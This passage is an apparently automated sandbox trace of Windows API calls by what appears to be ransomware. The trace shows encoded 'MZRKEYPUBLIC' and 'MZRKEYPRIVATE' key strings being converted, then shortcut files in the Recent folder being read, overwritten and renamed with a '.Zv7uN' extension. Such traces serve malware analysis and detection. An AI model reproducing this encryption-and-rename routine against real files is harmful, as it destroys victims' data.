8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0081.942] GetCurrentThreadId () returned 0xa30 [0081.942] GetCurrentThreadId () returned 0xa30 [0081.942] GetCurrentThreadId () returned 0xa30 [0081.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.943] GetCurrentThreadId () returned 0xa30 [0081.944] GetCurrentThreadId () returned 0xa30 [0081.944] GetCurrentThreadId () returned 0xa30 [0081.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kgcPTg_QemXoYwIC0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kgcptg_qemxoywic0.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.944] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.944] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.944] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1abb [0081.944] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.944] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1abb, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1abb, lpOverlapped=0x0) returned 1 [0081.946] CloseHandle (hObject=0x124) returned 1 [0081.946] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kgcPTg_QemXoYwIC0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kgcptg_qemxoywic0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.948] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1abb, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1abb, lpOverlapped=0x0) returned 1 [0081.950] CloseHandle (hObject=0x124) returned 1 [0081.951] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kgcPTg_QemXoYwIC0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kgcptg_qemxoywic0.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kgcPTg_QemXoYwIC0.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kgcptg_qemxoywic0.lnk.zv7un")) returned 1 [0081.953] GetCurrentThreadId () returned 0xa30 [0081.953] GetCurrentThreadId () returned 0xa30 [0081.953] GetCurrentThreadId () returned 0xa30 [0081.953] GetCurrentThreadId () returned 0xa30 [0081.953] GetCurrentThreadId () returned 0xa30 [0081.953] GetCurrentThreadId () returned 0xa30 [0081.953] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24d4960, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24d4960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe24d4960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ltiqqiyzz50.lnk", cAlternateFileName="LTIQQI~1.LNK")) returned 1 [0081.953] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.953] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ltiqqiyzz50.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ltiqqiyzz50.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24d4960, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24d4960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe24d4960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7)) returned 1 [0081.954] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ltiqqiyzz50.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ltiqqiyzz50.lnk")) returned 0x20 [0081.954] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ltiqqiyzz50.lnk", dwFileAttributes=0x80) returned 1 [0081.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.957] GetCurrentThreadId () returned 0xa30 [0081.957] GetCurrentThreadId () returned 0xa30 [0081.958] GetCurrentThreadId () returned 0xa30 [0081.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 